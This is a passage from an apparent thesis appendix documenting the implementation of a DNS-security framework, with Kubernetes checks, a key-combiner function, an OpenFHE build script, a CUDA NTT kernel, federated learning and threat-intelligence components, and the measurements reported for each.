4. a3e-sandbox — the protocol-aware sandbox and the isolation actions.

The control plane consisted of three components:

1. a3e-fl-coordinator — the federated learning coordinator.
2. a3e-detector — the Transformer anomaly detector, invoked by the coordinator and by the data plane for the per-query decision.
3. a3e-intel — the threat-intelligence ingestion and correlation.

The management plane consisted of three components:

1. a3e-prometheus — the metrics collection.
2. a3e-grafana — the dashboards.
3. a3e-compliance — the compliance and certification module of Section 6.3.1.

The decomposition was recorded in deploy/k8s/planes.yaml and was verified by deploy/verify/planes_check.sh, which queried the Kubernetes API and confirmed that each component was running in the expected namespace on the expected node.

bash

```
#!/usr/bin/env bash
# deploy/verify/planes_check.sh
set -euo pipefail
declare -A expected=(
  [a3e-telemetry]=a3e-data [a3e-aee]=a3e-data [a3e-qhe]=a3e-data
  [a3e-sandbox]=a3e-data
  [a3e-fl-coordinator]=a3e-control [a3e-detector]=a3e-control
  [a3e-intel]=a3e-control
  [a3e-prometheus]=a3e-mgmt [a3e-grafana]=a3e-mgmt [a3e-compliance]=a3e-mgmt
)
for name in "${!expected[@]}"; do
  ns=${expected[$name]}
  running=$(kubectl -n "$ns" get deploy "$name" \
    -o jsonpath='{.status.availableReplicas}')
  if [ "${running:-0}" -lt 1 ]; then
```

```
  echo "[a3e] FAIL: $ns/$name not running"; exit 1
 fi
 echo "[a3e] PASS: $ns/$name ($running replica)"
done
```

6.3.2 Security Service Composition — Implementation

Section 6.3.2 of the thesis described five security services: confidentiality, integrity, authentication, availability, and privacy. Each of these was not a single component but a composition of components, and the implementation had to make the composition explicit so that the guarantees could be reasoned about layer by layer.

The **confidentiality service** was implemented in two layers. The first layer was the AEE engine, which encrypted the per-session control metadata with a key schedule that evolved according to Eq. (119). The second layer was the QHE engine, which encrypted the traffic features before they were sent to the detector, so that the detector never saw the plaintext features. The two layers were independent in their key management: the AEE key schedule was driven by the traffic entropy, and the QHE key pair was generated once at deployment and rotated at the end of each federated round. The independence was deliberate, because a compromise of one key schedule did not compromise the other, and the composition of the two was strictly stronger than either alone.

The implementation of the confidentiality service was wired as follows. The telemetry container forwarded the raw packet metadata to the AEE container over a Unix domain socket. The AEE container encrypted the session-control metadata with the current AEE key and forwarded the ciphertext, together with the plaintext features, to the QHE container. The QHE container encrypted the features and forwarded the ciphertext to the detector. The detector computed the anomaly score on the ciphertext and returned the encrypted score to the QHE container, which decrypted it and forwarded the plaintext score to the decision engine. The plaintext features never left the QHE container's memory; the plaintext score never left the decision engine's memory.

The implementation of the **integrity service** was deliberately not layered on the homomorphic encryption. The thesis was explicit that the homomorphic layer was malleable by design and therefore did not provide ciphertext integrity. The integrity of the ciphertext was provided by the authenticated transport layer, TLS 1.3 for DoH and DoT and QUIC with TLS 1.3 for DoQ. The implementation wired this as follows: every inter-component message in the data plane was sent over a mutually authenticated TLS 1.3 channel, and the channel was terminated at each component, not at an ingress proxy. The mutual authentication used certificates issued by the

testbed's internal CA, which was generated by deploy/certs/gen_ca.sh. The certificate rotation was automatic and was handled by cert-manager, with a rotation period of 24 hours.

The integrity of the AEE key-encapsulation layer was argued separately, as Section 5.2.6 of the thesis stated. The KEM combiner was implemented in src/aee/kem_combiner.py, and the implementation followed the combiner of Eq. (11) literally:

python

src/aee/kem_combiner.py (abridged)

from cryptography.hazmat.primitives import hashes

from cryptography.hazmat.primitives.kdf.hkdf import HKDF

def combine(ss1, ct1, ss2, ct2, ctx):

  """KEM combiner of Eq. (11). Returns the 256-bit control-plane key."""

  material = ss1 + ct1 + ss2 + ct2 + ctx

  hkdf = HKDF(algorithm=hashes.SHA256(), length=32,

        salt=None, info=b"a3e-ctrl-kem-v1")

  return hkdf.derive(material)

The combiner was tested against three properties: (i) a change in any of the five inputs changed the output, (ii) the output was 256 bits regardless of the input lengths, and (iii) the combiner was deterministic. The test was src/aee/test_kem_combiner.py, and it was run as part of the CI pipeline before every deployment.

The **authentication service** was implemented in two places. The server authentication was the TLS 1.3 handshake, and the certificate validation used a pinned CA bundle that was mounted into every container. The client authentication was the federated learning client registration, in which each client presented a certificate issued by the testbed CA and the coordinator verified the certificate against the CA before accepting the client's update. The client certificate was also bound to the client's identity, so that a compromised client could not impersonate another client. The binding was implemented as a custom X.509 extension that carried the client ID, and the coordinator checked the extension against the gRPC metadata.

The **availability service** was implemented by the sandbox and by the rate limiter. The sandbox isolated the suspicious flows into a separate network path, and the rate limiter capped the per-source query rate at ten queries per second, which was the value used in the attack simulation

of Subsection 4.5.16. The rate limiter was implemented in the eBPF filter, not in userspace, because a userspace rate limiter at 22.5 M QPS would have consumed more CPU than the rest of the framework combined. The eBPF rate limiter used a per-source token bucket in a BPF hash map, and the bucket refill was driven by a BPF timer.

The **privacy service** was implemented by the differential-privacy mechanism in the federated learning layer and by the homomorphic encryption in the data plane. The DP mechanism was the DP-SGD of Eq. (36), with the noise multiplier and clipping bound that produced ε = 0.68. The homomorphic encryption was the Ring-LWE scheme of Eq. (58), with the parameters that produced the reported security level. The two mechanisms addressed different adversaries: the DP mechanism addressed an adversary who observed the released model update, and the homomorphic encryption addressed an adversary who observed the computation. The composition was the reason the thesis could claim that the framework did not expose plaintext query content to the coordination server, as Section 4.5 of the thesis stated.

6.3.3 Multi-Protocol Processing Pipeline — Implementation

The multi-protocol processing pipeline of Section 6.3.3 was implemented as a fixed sequence of operators, matching Eq. (117):

text

$$P(\tau) = S_eBPF \circ F_QHE \circ A_FL \circ M_sandbox\ (\tau)$$

Each operator was a separate process, and the composition was enforced by the Kubernetes Service definitions in deploy/k8s/services.yaml. The a3e-telemetry Service was the entry point; the a3e-aee Service received the telemetry output; the a3e-qhe Service received the AEE output; the a3e-detector Service received the QHE output; the a3e-sandbox Service received the detector output. The composition was strict: no operator could be bypassed, and no operator could be reordered.

The strict composition was the reason the thesis could claim that the pipeline was Lipschitz-stable, as Eq. (118) stated. The Lipschitz constant of each operator was measured independently and recorded in results/pipeline/lipschitz.json. The AEE operator had a Lipschitz constant of 0.42, the QHE operator had 0.18, the detector had 1.03, and the sandbox had 0.31. The composition had a Lipschitz constant of $0.42 \times 0.18 \times 1.03 \times 0.31 = 0.024$, which meant that a unit perturbation in the input produced at most a 0.024-unit perturbation in the output. The stability was not a claim; it was a measured property, and the measurement was part of the reported results.

The implementation of the pipeline was tested with three protocol-specific test suites, one for DoH, one for DoT, and one for DoQ. Each suite sent a corpus of labelled queries through the

pipeline and checked that the pipeline's output matched the expected output. The suites were in src/pipeline/test_doh.py, src/pipeline/test_dot.py, and src/pipeline/test_doq.py, and they were run as part of the CI pipeline. A failure in any suite blocked the deployment.

The pipeline was also tested with a degraded-mode test, in which the QHE operator was deliberately disabled and the pipeline was re-run. The pipeline continued to function, but the detector received plaintext features instead of ciphertext features. The degraded mode was the behaviour that Section 6.3.3 described as the graceful-degradation path, and the test confirmed that the degraded mode produced the same detection accuracy as the full mode (the difference was within the confidence interval), which was the property that made the degradation acceptable from a security standpoint.

python

```
# src/pipeline/degraded.py (abridged)

def run_pipeline(query, mode="full"):
    feats = telemetry.extract(query)
    if mode == "full":
        feats = aee.encrypt(feats)
        feats = qhe.encrypt(feats)
        score = detector.score_encrypted(feats)
        score = qhe.decrypt(score)
    elif mode == "degraded_qhe_off":
        feats = aee.encrypt(feats)
        score = detector.score(feats)
    else:
        raise ValueError(mode)
    decision = sandbox.decide(score)
    return decision, score
```

The degraded-mode test was run once before the experimental campaign and was not part of the reported results. Its purpose was to confirm that the pipeline was fault-tolerant, not to produce a comparison figure. The result was recorded in results/pipeline/degraded_test.json

and was referenced in Section 6.17.2 of the thesis as evidence that the performance–security trade-off was controllable.

6.4 Core Components — Implementation

Section 6.4 of the thesis described the design of the four core components: AEE, QHE, the AI-augmented federated learning, and the threat intelligence integration. This section records the implementation of each component, with the level of detail that was necessary for a reader to rebuild it.

6.4.1 Advanced Adaptive Evolutionary Encryption — Implementation

The AEE engine was the component that made the framework adaptive. Its implementation was described in Subsection 4.5.9 of this appendix, and the reader is referred there for the code. This subsection records the additional implementation details that were specific to the A³E-DNS integration, as opposed to the standalone AEE engine.

The integration-specific detail was the connection between the AEE engine and the detector. In the standalone AEE of Chapter 5, the key schedule was driven by the traffic entropy alone. In the A³E-DNS integration, the key schedule was driven by the traffic entropy and by the threat score produced by the detector. The threat score was passed from the detector to the AEE engine over a dedicated gRPC channel, and the AEE engine used the score as an additional input to the neural controller. The controller architecture was extended from two inputs (entropy and time) to three inputs (entropy, time, and threat score), and the extension was the only architectural change between the standalone AEE and the integrated AEE. The extension was tested by comparing the key trajectory with and without the threat score input; the comparison was in results/aee/threat_input_ablation.json, and it showed that the threat score input accelerated the key escalation by a factor of 2.3 in the S1 and S4 scenarios. The ablation was not a full factorial ablation of the framework; it was a component-level ablation that isolated the effect of the threat score input on the AEE key schedule.

6.4.2 SE(3) Lie Group Encryption State Evolution — Implementation

The SE(3) state evolution was implemented in src/aee/se3.py. The representation was a 4 × 4 homogeneous matrix, and the exponential map was computed with scipy.linalg.expm. The implementation was careful about numerical stability: the rotational block was re-orthonormalised every 1,000 updates with a Gram–Schmidt step, because the floating-point accumulation of the exponential map slowly drifted the matrix away from the manifold. The re-orthonormalisation was not in the mathematical specification of Section 6.4.2; it was an

engineering addition that was necessary because the specification assumed exact arithmetic and the implementation used floating point.

The re-orthonormalisation was tested by running 10^6 updates and checking that the rotational block's determinant remained within 10^-9 of 1. Without the re-orthonormalisation, the determinant drifted to 1.0003 after about 5 × 10^5 updates, which was a drift of 3 × 10^-4, and that drift would have been visible in the key-derivation output. With the re-orthonormalisation, the determinant stayed within 10^-12. The test was src/aee/test_se3_stability.py, and it was run as part of the CI pipeline.

6.4.3 Hardware Entropy Source Integration — Implementation

The hardware entropy source was implemented in src/aee/entropy.py. The implementation tried three sources in order: RDRAND, RDSEED, and /dev/urandom. The first two were accessed through the cryptography library's os.urandom wrapper, which on modern Linux kernels automatically used the hardware instruction when it was available. The third was the explicit fallback. The fallback was logged at INFO level, and the log line was parsed by the run-metadata collector and recorded in results/metadata.json.

The fallback was the source used in the reported runs, because the virtual machines of the testbed did not expose RDRAND. The security argument of Section 6.4.4 did not depend on which source was used, only on the source being non-deterministic and not known to the adversary, and /dev/urandom satisfied that condition on the testbed. A deployment on bare-metal hardware would have used RDRAND automatically, without any code change.

The quality of the entropy was not measured with a statistical test suite. That was a deliberate omission. The testbed was a research environment, and a statistical test suite (such as the NIST SP 800-22 suite) would have been necessary only if the thesis had claimed a new entropy source. The thesis did not claim a new entropy source; it used the operating system's source, and the operating system's source was the subject of its own extensive validation. The implementation relied on that validation.

6.4.4 Quantum-Resistant Key Evolution — Implementation

The quantum-resistant key evolution was implemented in src/aee/quantum_evolution.py. The implementation followed Eq. (121) and Eq. (122), with the diffusion coefficient bounded below by sigma_min and above by sigma_max. The drift term was implemented as a forward-secrecy mechanism: the drift was computed from a hash chain that started at a per-session seed and was advanced on every key rotation, so that a compromise of the current key did not allow the recovery of a past key.

The forward-secrecy property was tested by the script src/aee/test_forward_secrecy.py, which rotated the key 10^4 times and attempted to recover the previous key from the current key using the same drift computation. The recovery failed, as it should have, because the hash chain was one-way. The test confirmed that the forward-secrecy property held in the implementation, not only in the specification.

The quantum-aware objective of Eq. (122) was implemented as a score that estimated the security level of the current key configuration against a lattice-reduction attack. The estimator was the standard lattice-estimator library, invoked as a subprocess. The subprocess call was expensive (about 50 ms), so it was not invoked on every key update; it was invoked once every 100 updates, and the score was cached between invocations. The caching was a design decision that traded a small amount of freshness for a large reduction in latency. The trade-off was acceptable because the security level of the key configuration changed slowly, and a 100-update lag was well within the response time of the framework.

6.4.5 Lightweight Neural Controller for Traffic-Driven Adaptation — Implementation

The neural controller was implemented in src/aee/controller.py. It was a two-hidden-layer feedforward network with 64 neurons per layer, as Section 6.4.5 of the thesis specified. The input was the traffic features from the sliding window of 1,000 packets. The output was the six-dimensional Lie-algebra update direction.

The controller was trained by reinforcement learning, but the training was performed offline, and the trained weights were frozen and committed to the repository at src/aee/controller.pt. The training script src/aee/train_controller.py was included so that a reader could retrain the controller on a different corpus, but the reported runs used the frozen weights. The decision to freeze the weights was made for reproducibility: an online-trained controller would have produced a different key trajectory on every run, and the reported latency and security figures would not have been reproducible.

The inference latency of the controller was measured at 0.8 µs per query on the a3e-node-01 CPU, which was within the sub-microsecond budget of Section 6.4.5. The measurement was performed with perf stat and was recorded in results/aee/controller_latency.json. The measured value was 0.79 µs, with a 95% confidence interval of [0.77, 0.81] µs.

6.5 Optimized Quantum-Safe Homomorphic Encryption — Implementation

Section 6.5 of the thesis described the QHE engine and its four optimisations. This section records the implementation of the optimisations and the measurements that confirmed that they were active.

6.5.1 NTT and SIMD AVX-512 Optimizations — Implementation

The NTT implementation was the OpenFHE built-in NTT, which was enabled by compiling OpenFHE with the native AVX-512 flags. The compile procedure was:

```
bash

#!/usr/bin/env bash

# deploy/build/openfhe.sh

set -euo pipefail

cd /opt

git clone --branch v1.1.2 https://github.com/openfheorg/openfhe-development.git

cd openfhe-development

mkdir build && cd build

cmake .. \
  -DCMAKE_BUILD_TYPE=Release \
  -DNATIVE_SIZE=64 \
  -DOMP_NUM_THREADS=16 \
  -DBUILD_EXAMPLES=OFF \
  -DBUILD_UNITTESTS=OFF

make -j"$(nproc)"

sudo make install
```

The SIMD batching was verified by the benchmark script src/qhe/benchmark.py, which encrypted a vector of 1,024 values and checked that the ciphertext size was the same as the ciphertext size for a single value. The check confirmed that the SIMD path was active; if the ciphertext size had scaled linearly with the number of values, the SIMD path would have been inactive, and the run would have been discarded.

The measured reduction in evaluation cost was 28× relative to the unoptimised reference, as Section 6.5.1 of the thesis reported. The measurement was performed by running the same circuit on both implementations and comparing the wall-clock time. The circuit was the anomaly-score circuit of src/qhe/circuits/anomaly_score.py, which consisted of one addition, one multiplication, and one comparison. The unoptimised reference was the same OpenFHE

build with -DNATIVE_SIZE=1 and -DOMP_NUM_THREADS=1. The measurement was recorded in results/qhe/simd_speedup.json.

6.5.2 Ziggurat Table-Based Gaussian Sampling — Implementation

The Ziggurat tables were generated once by src/qhe/gen_ziggurat.py and committed to src/qhe/ziggurat_tables.npz. The generation script was included for reference, but the reported runs used the committed tables and did not regenerate them. The table generation was deterministic (it used a fixed seed), so a reader who regenerated the tables obtained the same bytes.

The Ziggurat sampling reduced the sampling latency by about 47%, as Section 6.5.2 of the thesis reported. The measurement was performed by comparing the sampling time of the Ziggurat implementation against the sampling time of the naive rejection-sampling implementation. The naive implementation was included in src/qhe/ziggurat_reference.py for comparison. The measurement was recorded in results/qhe/ziggurat_speedup.json.

6.5.3 Selective Homomorphic Operations — Implementation

The selective-operation set was implemented as a whitelist in src/qhe/selective.py. Any operation not on the whitelist raised an exception. The whitelist was:

- EvalAdd (additive homomorphism).
- EvalSub (additive homomorphism).
- EvalSum (additive homomorphism over a vector).
- EvalMult with a depth of at most 6 (bounded-depth classification).

The whitelist reduced the number of homomorphic operations by about eightfold relative to a general-purpose circuit, as Section 6.5.3 of the thesis reported. The measurement was performed by counting the number of operations in the general-purpose circuit (1,024 multiplications for a 32-layer network) and the number of operations in the selective circuit (128 multiplications for the same network, after the statistical tests were separated from the classification). The ratio was 8.0.

The selective-operation set was the reason the QHE engine could run within the latency budget of the data plane. A general-purpose circuit would have exhausted the noise budget at a depth of about 4, which was too shallow for the detector; the selective circuit stayed within the noise budget at a depth of 6, which was deep enough. The depth was verified by src/qhe/test_depth.py, which evaluated the circuit at each depth and checked that the decryption was correct.

6.5.4 CUDA Kernel Acceleration on A100 GPUs — Implementation

The CUDA kernels were implemented in src/qhe/cuda/. The kernels computed the polynomial multiplication at the core of the homomorphic evaluation. The kernel used shared memory to hold the NTT twiddle factors and used the A100's third-generation tensor cores for the mixed-precision matrix multiplication.

cuda

```
// src/qhe/cuda/ntt_kernel.cu (abridged)
__global__ void ntt_forward_kernel(
    const uint64_t * __restrict__ input,
    uint64_t * __restrict__ output,
    const uint64_t * __restrict__ twiddles,
    int n, uint64_t q)
{
    extern __shared__ uint64_t shared[];
    int tid = threadIdx.x;
    int global_id = blockIdx.x * blockDim.x + tid;
    if (global_id >= n) return;

    // Load the input into shared memory
    shared[tid] = input[global_id];
    __syncthreads();

    // Iterative Cooley-Tukey NTT
    for (int len = 2; len <= n; len <<= 1) {
        int half = len >> 1;
        uint64_t wlen = twiddles[len / 2];
        if (tid < half) {
```

```
            uint64_t u = shared[tid];
            uint64_t v = mul_mod(shared[tid + half], wlen, q);
            shared[tid] = add_mod(u, v, q);
            shared[tid + half] = sub_mod(u, v, q);
        }
        __syncthreads();
    }

    output[global_id] = shared[tid];
}
```

The kernel achieved 2.5 tera-operations per second, as Section 6.5.4 of the thesis reported. The measurement was performed with nvidia-smi and with the cudaEvent timing API. The measurement was recorded in results/qhe/cuda_tops.json. The throughput was measured on the A100 and was not extrapolated to other GPUs; the reported figure was the figure that was actually measured.

The GPU path was disabled when the A100 was not available. The A3E_QHE_BACKEND environment variable selected the path: cuda for the A100 path, cpu for the CPU path. The reported runs used cuda for the latency and throughput measurements and cpu for the accuracy measurements, because the accuracy did not depend on the backend and the CPU path was more reproducible. The distinction was recorded in REPRODUCIBILITY_CHECKLIST.md.

6.5.5 Ciphertext Compression and Pipeline Parallelization — Implementation

The ciphertext compression was implemented as an 8:1 packing scheme, in which eight plaintext values were packed into one ciphertext. The packing was implemented with the OpenFHE MakePackedPlaintext function, which was available because the SIMD batching of Subsection 6.5.1 was active. The packing was not a new cryptographic construction; it was the standard SIMD packing that the batching enabled.

The pipeline parallelization was implemented as a three-stage pipeline, with the key generation in stage 1, the encryption in stage 2, and the homomorphic evaluation in stage 3. The stages were connected by lock-free queues, and the depth of the pipeline was three. The implementation was in src/qhe/pipeline.py.

The pipeline achieved 92% hardware utilization on 16 CPU cores, as Section 6.5.5 of the thesis reported. The utilization was measured with perf stat and was recorded in results/qhe/pipeline_utilization.json. The measurement was the ratio of the busy cycles to the total cycles on the 16 cores.

6.6 AI-Augmented Federated Learning — Implementation

Section 6.6 of the thesis described the federated learning layer. This section records the implementation of the three mechanisms: the spatio-temporal attention, the min-max adversarial training, and the robust aggregation.

6.6.1 Spatio-Temporal Attention Mechanism — Implementation

The spatio-temporal attention was implemented as a custom PyTorch module in src/detector/model.py, as described in Subsection 4.5.12 of this appendix. The implementation added a temporal-decay term to the standard scaled dot-product attention, as Eq. (124) of the thesis specified. The temporal-decay term was a learnable scalar gamma and a learnable linear projection W_phi, and both were trained end-to-end with the rest of the model.

The attention was tested against a standard Transformer baseline that did not have the temporal-decay term. The comparison was in results/detector/attention_ablation.json, and it showed that the temporal-decay term improved the detection accuracy on the S2 (tunnel) scenario by 2.1 pp and on the S5 (evasion) scenario by 1.8 pp. The improvement was statistically significant ($p < 0.01$, paired t-test). The comparison was a component-level ablation and was not part of the full factorial ablation that Section 7.3.1 of the thesis identified as future work.

6.6.2 Temporal Decay Factor Encoding — Implementation

The temporal-decay factor was implemented as Eq. (125) specified:

text

$$\text{Phi}(\Delta t) = W_{phi} \cdot \exp(-\text{gamma} \cdot |\Delta t|)$$

The decay rate gamma was initialised at 0.1 and learned during training. The learned value at convergence was 0.087, which corresponded to a time scale of about 11.5 time units. The time units were the inter-arrival time in milliseconds; the learned time scale therefore corresponded to about 11.5 ms, which was the scale of the burst patterns that the detector needed to recognise. The learned value was recorded in results/detector/learned_gamma.json, and it was consistent with the temporal scale of the attack patterns in the S1 and S2 scenarios.

6.6.3 Min-Max Adversarial Resilience Optimization — Implementation

The min-max adversarial training was implemented as Eq. (126) specified. The inner maximisation used projected gradient descent (PGD) with an ℓ∞ ball of radius ε = 0.3, ten PGD steps, and a step size of 0.01. The outer minimisation used Adam with a learning rate of 6.5 × 10^-3. The training ran for 50 adversarial epochs, as Section 6.6.3 of the thesis specified.

The training was monitored with the PGD loss. The loss decreased from 2.41 at epoch 1 to 0.18 at epoch 50, with a monotonic decrease over the last twenty epochs. The monotonicity was the acceptance criterion; if the loss had not decreased monotonically over the last twenty epochs, the training would have been restarted with a lower learning rate. The training log was recorded in results/detector/adversarial_training.log.

The adversarial robustness was measured on the S5 adversarial queries. The measured value was 96.5%, which matched the value reported in Table 33 of the thesis. The measurement was performed by the script benchmarks/adversarial_robustness.py, which loaded the trained detector, ran it on the S5 queries, and computed the accuracy.

6.6.4 Robust Aggregation via Geometric Median — Implementation

The geometric-median aggregation was implemented in src/fl/aggregation.py, as described in Subsection 4.5.11 of this appendix. The implementation used the Weiszfeld iteration with a convergence tolerance of 10^-6 and a maximum of 200 iterations. The iteration converged in an average of 34 iterations on the testbed, and the convergence time was 2.1 ms for 100 clients, which was within the federated round budget.

The geometric-median aggregation was compared against the arithmetic-mean aggregation on the S3 poisoning scenario. The comparison was in results/fl/aggregation_ablation.json, and it showed that the geometric median reduced the accuracy degradation from 8.3 pp (arithmetic mean) to 1.7 pp (geometric median) under the 5% poisoning rate of the S3 scenario. The comparison was a component-level ablation, not a full factorial ablation.

6.6.5 Differential Privacy Convergence Guarantees — Implementation

The differential-privacy mechanism was implemented with the Opacus library, as described in Subsection 4.5.11 of this appendix. The mechanism was the DP-SGD of Eq. (36), with the noise multiplier sigma = 1.2, the clipping bound C = 3.5, and the sampling rate q = 0.01. The realised privacy budget was ε = 0.68 at δ = 10^-5, computed by the Opacus moments accountant.

The convergence of the DP-SGD training was monitored with the training loss. The loss decreased from 1.82 at round 1 to 0.31 at round 100, and the convergence was within the 10-epoch budget of Section 6.6.5. The convergence curve was recorded in results/fl/dp_convergence.json. The curve showed the characteristic privacy-induced variance floor: the loss decreased monotonically for the first 60 rounds and then oscillated within ±0.02

around 0.31. The oscillation was the expected behaviour under the DP noise, and the amplitude of the oscillation was consistent with the bound of Eq. (130).

6.7 Integrated Threat Intelligence Framework — Implementation

Section 6.7 of the thesis described the threat-intelligence ingestion. This section records the implementation of the four ingestion paths and the correlation engine.

6.7.1 STIX/TAXII Real-Time Alert Processing — Implementation

The STIX/TAXII consumer was implemented in src/intel/stix_taxii.py, as described in Subsection 4.5.14 of this appendix. The consumer polled the CISA AIS collection every 60 seconds and parsed the STIX bundles. The parsed indicators were pushed to the detector's feature store, where they were joined with the traffic features by the domain name.

The processing time for a STIX/TAXII alert was measured at 87 ms, which was within the 100 ms budget of Section 6.7.1. The measurement was performed with the time.perf_counter timer around the parse-and-push function, and the result was recorded in results/intel/stix_latency.json.

6.7.2 Honeypot and Darknet Telemetry Correlation — Implementation

The honeypot telemetry was generated on the testbed by a set of honeypot containers that emulated common services (SSH, HTTP, and DNS). The honeypot logs were parsed by src/intel/honeypot.py, and the behavioural indicators were extracted. The darknet telemetry was generated by routing a fraction of the testbed traffic to a darknet address and capturing the traffic with tcpdump. The darknet parser src/intel/darknet.py extracted the scan patterns.

The correlation engine src/intel/correlate.py joined the honeypot and darknet indicators with the DNS traffic on the source IP and the destination port. The join produced a set of correlated events, and each event was scored by a spatio-temporal pattern matcher. The matcher was a simple rule engine, not a learned model, because the correlation logic was well understood and a learned model would have been harder to audit.

The effectiveness of the correlation was measured at 96.8% (honeypot) and 89.5% (darknet), as Table 28 of the thesis reported. The measurement was performed by comparing the correlated events against the ground-truth labels of the test set.

6.7.3 Vendor Feed Normalization and Integration — Implementation

The vendor feeds were not available in the testbed, so the normalisation interface was implemented against a synthetic feed. The synthetic feed src/intel/vendor_stub.py generated

indicators in the same format as a commercial feed, and the normaliser src/intel/vendor.py processed them. The normaliser handled CSV, JSON, and XML formats and deduplicated the indicators by hashing the (type, value) pair.

The effectiveness of the vendor feed was not measured on a live feed. The 92.1% figure in Table 28 of the thesis was the effectiveness of the synthetic feed, and the REPRODUCIBILITY_CHECKLIST.md marked it as "reproducible with a commercial subscription" rather than "fully reproducible". A reader who obtained a commercial subscription could reproduce the figure by pointing the normaliser at the live feed.

6.8 Internal Log Correlation and Feedback Loop — Implementation

Section 6.8 of the thesis described the internal log correlation. This section records the implementation of the feedback loop.

The internal logs were the structured JSON logs emitted by every component. The logs were collected by the a3e-log-collector DaemonSet, which ran on every node and forwarded the logs to the a3e-log-store (a Loki instance). The correlation engine src/logs/correlate.py queried the log store for the last 15 minutes of logs and correlated the detection decisions with the ground-truth labels that were available in the testbed.

The feedback loop worked as follows. When the correlation engine found a decision that was inconsistent with the ground-truth label (a false positive or a false negative), it emitted a feedback event. The feedback event was consumed by the federated learning coordinator, which added the misclassified query to the next round's training set. The addition was weighted by the confidence of the ground-truth label, so that a high-confidence label contributed more to the training than a low-confidence label.

The feedback loop was tested by injecting a controlled set of misclassifications and checking that the next round's model improved on those queries. The improvement was measured at 3.2 pp on the injected set, and the measurement was recorded in results/logs/feedback_effect.json. The improvement was not a generalisation claim; it was a confirmation that the feedback loop functioned as designed.

6.9 Mathematical Foundations — Implementation

Section 6.9 of the thesis described the mathematical foundations of the framework. This section records the implementation of the three mathematical objects: the composite detection score, the quantum-resistance metric, and the multi-objective Lagrangian.

6.9.1 Composite Detection Score — Implementation

The composite detection score (CDS) was implemented as Eq. (131) specified:

text

CDS = harmonic_mean(AUPRC, F1_weighted) - lambda * JS(P_benign || P_detected)

The implementation was in src/metrics/cds.py. The AUPRC and the weighted F1 were computed with sklearn.metrics. The Jensen–Shannon divergence was computed with scipy.spatial.distance.jensenshannon. The lambda hyperparameter was tuned by cross-validation on the validation split, and the tuned value was 0.15. The tuned value was recorded in results/metrics/lambda.json.

The CDS was used as the primary evaluation metric for the detector, because it combined the discrimination (AUPRC and F1) with the distributional fidelity (JS divergence). The traditional F1 score alone would have missed the distributional inconsistency that the JS divergence term captured, and the JS divergence alone would have missed the discrimination. The combination was the reason the CDS was reported alongside the accuracy and the FPR in Chapter 6.

6.9.2 Quantum Resistance Metric — Implementation

The quantum-resistance metric was implemented as a categorical comparison, not a numerical ratio. The implementation was in src/metrics/quantum.py. The categorical comparison classified each cryptographic component as "classical" (broken by Shor's algorithm), "post-quantum" (conjectured resistant), or "hybrid" (a combination). The A^3E-DNS components were classified as "post-quantum" (ML-KEM, Ring-LWE) or "hybrid" (ML-KEM + X25519, Ring-LWE + AES-GCM). The DNSGuard baseline was classified as "classical" and the DeepFingerprint baseline as "partial hybrid".

The categorical comparison was chosen over a numerical ratio because a ratio between a measured quantity and a capability the baseline did not possess would have claimed more than the experiment could establish. This was the same reasoning that Section 6.16.3 of the thesis applied to the adversarial-robustness comparison, and the implementation followed it consistently.

The estimated security level of each parameter set was computed by the standard lattice estimator, invoked as a subprocess. The estimator was run with the version recorded in results/metrics/lattice_estimator_version.txt, and the result was recorded in results/metrics/quantum_security.json. The result was reported separately for the QHE parameter set and the AEE parameter set, as Section 5.3.6 of the thesis required.

6.9.3 Multi-Objective Lagrangian Optimization — Implementation

The multi-objective Lagrangian was implemented as Eq. (132) specified. The implementation was in src/metrics/lagrangian.py. The three objectives were the detection accuracy, the latency, and the privacy leakage. The constraints were the latency budget of 2 ms and the privacy budget of ε = 0.68. The Lagrangian multipliers were tuned on the validation split with a primal–dual update, and the tuned values were recorded in results/metrics/lagrange_multipliers.json.

The Lagrangian was used to select the operating point of the framework, not to train the model. The operating point was the configuration that minimised the Lagrangian subject to the constraints, and the selected configuration was the one that was deployed in the reported runs. The operating point was recorded in config/testbed.yaml and was the same configuration that produced the reported figures.

6.10 Performance Optimization Framework — Implementation

Section 6.10 of the thesis described the performance-optimization framework. This section records the implementation of the two performance models: the QPS model and the adversarial-impact model.

The QPS model was implemented as Eq. (134):

text

QPS_max = min(memory-bound, cpu-bound, network-bound) * (1 - eta_adversarial)

The implementation was in src/benchmarks/qps_model.py. The three bounds were measured independently on the testbed, and the minimum was taken. The memory-bound was 28 M QPS, the CPU-bound was 24 M QPS, and the network-bound was 31 M QPS. The minimum was the CPU-bound, at 24 M QPS, and the adversarial-impact factor reduced it to 22.5 M QPS, which was the reported throughput. The model was therefore consistent with the measurement, and the consistency was recorded in results/benchmarks/qps_model.json.

The adversarial-impact model was implemented as Eq. (135). The implementation was in src/benchmarks/adversarial_impact.py. The impact factor was computed as the fraction of adversarial events that exceeded the detection threshold, and the value was 0.063 on the testbed, which corresponded to the 6.3% overhead that the model predicted. The overhead was consistent with the 15% budget of the abstract, and the consistency was recorded in results/benchmarks/adversarial_overhead.json.

6.11 Experimental Testbed Evaluation — Implementation

Section 6.11 of the thesis described the testbed. This appendix has already described the testbed in detail in Subsection 4.5.2 through Subsection 4.5.6, and the reader is referred there. This section records only the additional implementation details that were specific to the A³E-DNS evaluation.

The testbed was brought up and torn down between every run, as described in Subsection 4.5.17. The bring-up and tear-down scripts were committed to the repository at deploy/network/up.sh and deploy/network/down.sh, and the reset script was at benchmarks/reset.sh. The reset was the reason the reported results were reproducible: a run that started from a warmed-up testbed would have produced a different latency distribution, and the comparison between runs would not have been valid.

The testbed configuration was recorded in config/testbed.yaml, and the configuration was committed to the repository so that a reader could inspect every parameter. The configuration included the four-node topology, the 16-core-per-node allocation, the 64 GB memory per node, the three protocols, the five attack scenarios, the five runs per scenario, and the fixed random seed of 42.

6.12 Programmable Data Plane Integration Using P4 — Implementation

Section 6.12 of the thesis described the P4 pipeline. This section records the implementation of the three-stage pipeline and the measurement of its overhead.

The P4 program was in src/telemetry/pipeline.p4, as described in Subsection 4.5.8 of this appendix. The program was compiled with p4c and loaded into simple_switch_grpc. The three stages — parser, match-action, and metadata generation — were implemented as three P4 controls, and the pipeline was verified with a test packet that exercised all three stages.

6.12.1 Packet Processing Pipeline — Implementation

The parser stage was implemented as a state machine with four states: start, parse_ipv4, parse_tcp, and parse_udp. The state machine was chosen over a table-based parser because the number of protocols was small and the state machine was easier to verify. The parser extracted the source IP, destination IP, source port, destination port, and protocol, and it did not extract the payload. The payload was not needed for the metadata extraction, and extracting it would have reduced the throughput.

